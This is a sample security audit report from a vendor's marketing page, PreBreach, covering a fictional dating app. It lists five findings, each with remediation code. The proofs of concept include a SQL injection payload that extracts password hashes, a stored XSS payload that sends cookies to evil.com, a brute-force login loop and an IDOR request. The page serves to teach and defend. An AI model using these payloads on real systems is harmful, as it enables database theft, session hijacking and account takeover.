PreBreachPreBreach
How it WorksMethodologyPricingBlog
Start Audit
PreBreach/Sample Report

Security Audit Report

datelike.pro — Dating App Side Project

SAMPLE REPORT

SCAN DATE

Jan 15, 2025

DURATION

47 minutes

FRAMEWORK

Next.js + Prisma

FILES SCANNED

142 files

Severity Breakdown

1Critical
3High
1Medium
0Low

Findings (5)

PB-2025-001Critical — CVSS 9.8

SQL Injection in User Search Endpoint

/api/users/search?q=

The search query parameter is concatenated directly into a raw SQL query without parameterization. An attacker can extract the entire database, including password hashes and private messages.

PROOF OF CONCEPT

curl 'https://datelike.pro/api/users/search?q=\' UNION SELECT id,email,password_hash,NULL FROM users--'

RECOMMENDED FIX

// Before (vulnerable)
const results = await db.execute(
  `SELECT * FROM users WHERE name LIKE '%${query}%'`
);

// After (parameterized)
const results = await db.execute(
  `SELECT * FROM users WHERE name LIKE $1`,
  [`%${query}%`]
);

AI Fix Prompt

Fix the following security vulnerability in my codebase:

**SQL Injection in User Search Endpoint**

The search query parameter in /api/users/search is concatenated directly into a raw SQL query without parameterization. Replace all raw string interpolation in SQL queries with parameterized queries using $1, $2 placeholders.

CWE: CWE-89
Severity: Critical (CVSS 9.8)

Please provide the specific code changes needed to remediate this issue.

Paste this into Cursor, Claude Code, or any AI coding tool to get a fix.

PB-2025-002High — CVSS 8.1

Stored XSS in User Bio Field

/api/profile/update → bio field

User bio accepts arbitrary HTML/JavaScript. Malicious scripts execute when other users view the profile, enabling session hijacking and phishing overlays.

PROOF OF CONCEPT

fetch('/api/profile/update', {
  method: 'POST',
  body: JSON.stringify({
    bio: '<img src=x onerror="fetch(\'https://evil.com/steal?c=\'+document.cookie)">'
  })
})

RECOMMENDED FIX

import DOMPurify from "dompurify";

// Sanitize before storing
const sanitizedBio = DOMPurify.sanitize(bio, {
  ALLOWED_TAGS: ["b", "i", "em", "strong"],
  ALLOWED_ATTR: [],
});

AI Fix Prompt

Fix the following security vulnerability in my codebase:

**Stored XSS in User Bio Field**

The user bio field in /api/profile/update accepts arbitrary HTML and JavaScript. Sanitize all user-generated HTML content before storing it in the database. Use DOMPurify to strip dangerous tags and attributes, allowing only safe formatting tags like b, i, em, strong.

CWE: CWE-79
Severity: High (CVSS 8.1)

Please provide the specific code changes needed to remediate this issue.

Paste this into Cursor, Claude Code, or any AI coding tool to get a fix.

PB-2025-003High — CVSS 7.5

Broken Authentication — No Rate Limiting on Login

/api/auth/login

The login endpoint has no rate limiting or account lockout. An attacker can brute-force credentials at thousands of attempts per second.

PROOF OF CONCEPT

for i in $(seq 1 10000); do
  curl -s -X POST https://datelike.pro/api/auth/login \
    -d '{"email":"victim@email.com","password":"pass'$i'"}' &
done

RECOMMENDED FIX

import { Ratelimit } from "@upstash/ratelimit";
import { Redis } from "@upstash/redis";

const ratelimit = new Ratelimit({
  redis: Redis.fromEnv(),
  limiter: Ratelimit.slidingWindow(5, "60 s"),
});

// In your login handler:
const { success } = await ratelimit.limit(ip);
if (!success) return new Response("Too many attempts", { status: 429 });

AI Fix Prompt

Fix the following security vulnerability in my codebase:

**Broken Authentication — No Rate Limiting on Login**

The login endpoint at /api/auth/login has no rate limiting or account lockout mechanism. Add rate limiting using Upstash Ratelimit with a sliding window of 5 attempts per 60 seconds per IP address. Return HTTP 429 when the limit is exceeded.

CWE: CWE-307
Severity: High (CVSS 7.5)

Please provide the specific code changes needed to remediate this issue.

Paste this into Cursor, Claude Code, or any AI coding tool to get a fix.

PB-2025-004High — CVSS 7.2

IDOR — Access Any User's Private Photos

/api/users/:id/photos?visibility=private

The private photos endpoint checks authentication but not authorization. Any logged-in user can view another user's private photos by changing the user ID parameter.

PROOF OF CONCEPT

# Authenticated as user 42, accessing user 99's private photos
curl -H "Authorization: Bearer <your_token>" \
  'https://datelike.pro/api/users/99/photos?visibility=private'

RECOMMENDED FIX

export async function GET(req: Request, { params }: { params: { id: string } }) {
  const session = await getSession(req);

  // Add authorization check
  if (session.userId !== params.id) {
    return new Response("Forbidden", { status: 403 });
  }

  const photos = await getPrivatePhotos(params.id);
  return Response.json(photos);
}

AI Fix Prompt

Fix the following security vulnerability in my codebase:

**IDOR — Access Any User's Private Photos**

The private photos endpoint at /api/users/:id/photos checks authentication but not authorization. Add an authorization check to verify the authenticated user's ID matches the requested user ID parameter before returning private photos. Return HTTP 403 Forbidden for unauthorized access.

CWE: CWE-639
Severity: High (CVSS 7.2)

Please provide the specific code changes needed to remediate this issue.

Paste this into Cursor, Claude Code, or any AI coding tool to get a fix.

PB-2025-005Medium — CVSS 5.3

Insecure API Key Exposure in Client Bundle

src/lib/maps.ts → GOOGLE_MAPS_KEY

A server-side API key with billing enabled is embedded in the client JavaScript bundle. The key has no HTTP referrer restrictions, allowing abuse from any origin.

PROOF OF CONCEPT

# Key found in production JS bundle:
# grep -r "AIza" .next/static/chunks/
# AIzaSyD_EXAMPLE_KEY_HERE_xxxxx

RECOMMENDED FIX

// Move to server-only environment variable
// .env.local
GOOGLE_MAPS_KEY=AIzaSy...  // Remove this

// Use NEXT_PUBLIC_ only for restricted client keys
NEXT_PUBLIC_GOOGLE_MAPS_KEY=AIzaSy_RESTRICTED_KEY

// Restrict the client key in Google Cloud Console:
// → API restrictions: Maps JavaScript API only
// → Application restrictions: HTTP referrers → datelike.pro/*

AI Fix Prompt

Fix the following security vulnerability in my codebase:

**Insecure API Key Exposure in Client Bundle**

A server-side Google Maps API key with billing enabled is embedded in the client JavaScript bundle via src/lib/maps.ts. Move the key to a server-only environment variable (without NEXT_PUBLIC_ prefix). Create a separate restricted client key with HTTP referrer restrictions and API scope limited to Maps JavaScript API only.

CWE: CWE-200
Severity: Medium (CVSS 5.3)

Please provide the specific code changes needed to remediate this issue.

Paste this into Cursor, Claude Code, or any AI coding tool to get a fix.

Dual-Model Validated

All findings in this report were independently analyzed by Claude and GPT, then scored through consensus voting. Disagreements were flagged and false positives eliminated.

This is a sample report. Get your own security audit in under an hour.

Start Your AuditBack to Home
PreBreach

Secure your vibe coding. Built for the new generation of AI-assisted developers.

All Systems Operational

Product

  • Pricing
  • Sample Report
  • Documentation

Resources

  • Blog
  • Contact

Connect

  • Twitter / X

© 2026 PreBreach Security. All rights reserved.

Privacy PolicyTerms of Service